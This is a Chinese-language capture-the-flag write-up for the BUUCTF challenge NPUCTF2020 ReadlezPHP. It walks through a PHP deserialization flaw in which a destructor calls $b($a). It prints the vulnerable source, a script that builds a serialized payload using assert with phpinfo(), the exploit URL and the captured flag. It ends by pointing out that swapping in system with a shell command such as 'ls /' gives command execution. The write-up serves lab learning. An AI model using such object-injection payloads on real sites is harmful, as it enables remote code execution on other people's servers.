作者:Hopeace
靶机地址:https://buuoj.cn/challenges#[NPUCTF2020]ReadlezPHP
0x01 浏览题目
主页和源代码都没有什么有用的信息
抓包试试response里有木有东西
http://www.nwpu.edu.cn
西工大的宣传页面,对此题属于无用信息
扫目录,没有结果
再仔细看一遍源代码
ctrl + f 搜索.php看有没有泄露的目录
找到了
time.php?source
得到了一段代码
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
0x02 分析题目
看到了unserialize函数基本就确定了现在需要去做反序列化操作了
构造
<?php
class HelloPhp
{
public $a;
public $b;
}
$c = new HelloPhp;
$c->a = "Y-m-d h:i:s";
$c->b = "date";
$payload = serialize(c);
echo $payload;
?>
得到一段反序列化字符串
O:8:“HelloPhp”:2:{s:1:“a”;s:11:“Y-m-d h:i:s”;s:1:“b”;s:4:“date”;}
呃呃不对
php @
阻止警告输出。 有些函数,在遇到入参不正确时,会提示警告,但程序也可以正常运行。其实只要把警告去掉就可以,所以就有@这个符号。
0x03 复现
刚刚忽略了一段很重要的代码
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
b
(
b(
b(a)可以用来构造一下函数结构
如下给变量a,b赋值
<?php
class HelloPhp
{
public $a;
public $b;
}
$c = new HelloPhp;
$c->a = "phpinfo()";
$c->b = assert;
$payload = serialize($c);
echo $payload;
?>
得到
O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}
运行一下,
time.php?data=O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}
成功打入phpinfo()的界面
搜索flag,正好是放在这里
flag{24dd0dd6-a71b-4005-9b53-7e49aff6ddee}
0x04 补充
即使flag没在phpinfo()里面
也可以构造一句话木马
如b赋值system
a再写命令如"ls /"等等
|